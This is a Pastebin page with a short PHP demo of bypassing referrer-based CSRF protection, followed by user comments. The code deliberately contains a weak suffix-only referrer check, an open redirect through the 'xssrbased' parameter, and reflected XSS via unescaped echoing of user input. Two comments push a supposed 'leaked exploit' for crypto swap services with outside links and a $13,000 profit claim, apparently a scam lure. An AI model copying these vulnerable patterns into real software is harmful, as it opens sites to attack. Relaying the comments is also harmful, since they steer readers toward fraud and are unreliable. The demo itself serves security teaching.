bhati123

Source Code By Narendra Bhati-Referrer Based CSRF Protection

Jun 22nd, 2014
1,365
0
Never
10
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. <?php
  2. session_start();
  3. if(isset($_SESSION['views']))
  4. unset($_SESSION['views']);
  5. $allowed_host = 'r00tsh3ll.com';
  6. $host = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
  7. if(substr($host, 0 - strlen($allowed_host)) == $allowed_host)
  8. {
  9. if (isset($_POST['name'])&&isset($_POST['work'])&&!empty($_POST['name'])&&!empty($_POST['work'])){
  10. $name= $_POST['name'];
  11. $work= $_POST['work'];
  12. echo 'Your Details Has Been Updated <br> Name Is = '.$name.' <br>Work Is = '.$work;
  13. } else { echo 'All fields are recommended'; }
  14. } else { echo "<h1><font color='red'>Referrer Is Not Match CSRF Attack Detected</font></h1>"; }
  15.  
  16. if(isset($_GET['xssrbased'])){
  17. $redirection=$_GET['xssrbased'];
  18. header("Location: ".$redirection);
  19. }
  20. else { echo '';
  21. }
  22. if(isset($_GET['something'])){
  23. $show=$_GET['something'];
  24. echo ' Your Value Is=== '.$show;
  25. }
  26. else { echo 'please enter some value to echo';
  27. }
  28.  
  29. ?>
  30. <h1> Referrer Based CSRF Protection Bypass Demostration</h1>
  31. <h1>Update Details</h1>
  32. Hello User
  33. <form action="referrer.php" method="POST">
  34. Name:<br><input type="text" input name="name"></br>
  35. Profession:<br> <input type="text" input name="work"></br>
  36. ---><input type=submit input value="Click To Update">
  37. </form>
  38. <form action="referrer.php" method="GET">
  39. Enter Something For Echo:<input type="text" input name="something">Example- Hey Baby</br>
  40. ---><input type=submit input value="Click To Echo">
  41. </form>
Advertisement
Comments
  • # CSS 0.78 KB | 0 0
    1. ✅ Leaked Exploit Documentation:
    2.  
    3. https://rawtext.host/raw?44lh4m
    4.  
    5. This made me $13,000 in 2 days.
    6.  
    7. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 38% — they will simply correct the exchange rate.
    8. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    9.  
    10. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without any verification from Swapzone — instant swap).
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • Korpuitoz
    78 days
    # CSS 0.85 KB | 0 0
    1. ✅ Leaked Exploit Documentation:
    2.  
    3. https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing
    4.  
    5. This made me $13,000 in 2 days.
    6.  
    7. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 25% — they will simply correct the exchange rate.
    8. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    9.  
    10. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from SimpleSwap — instant swap).
  • User was banned
Add Comment
Please, Sign In to add comment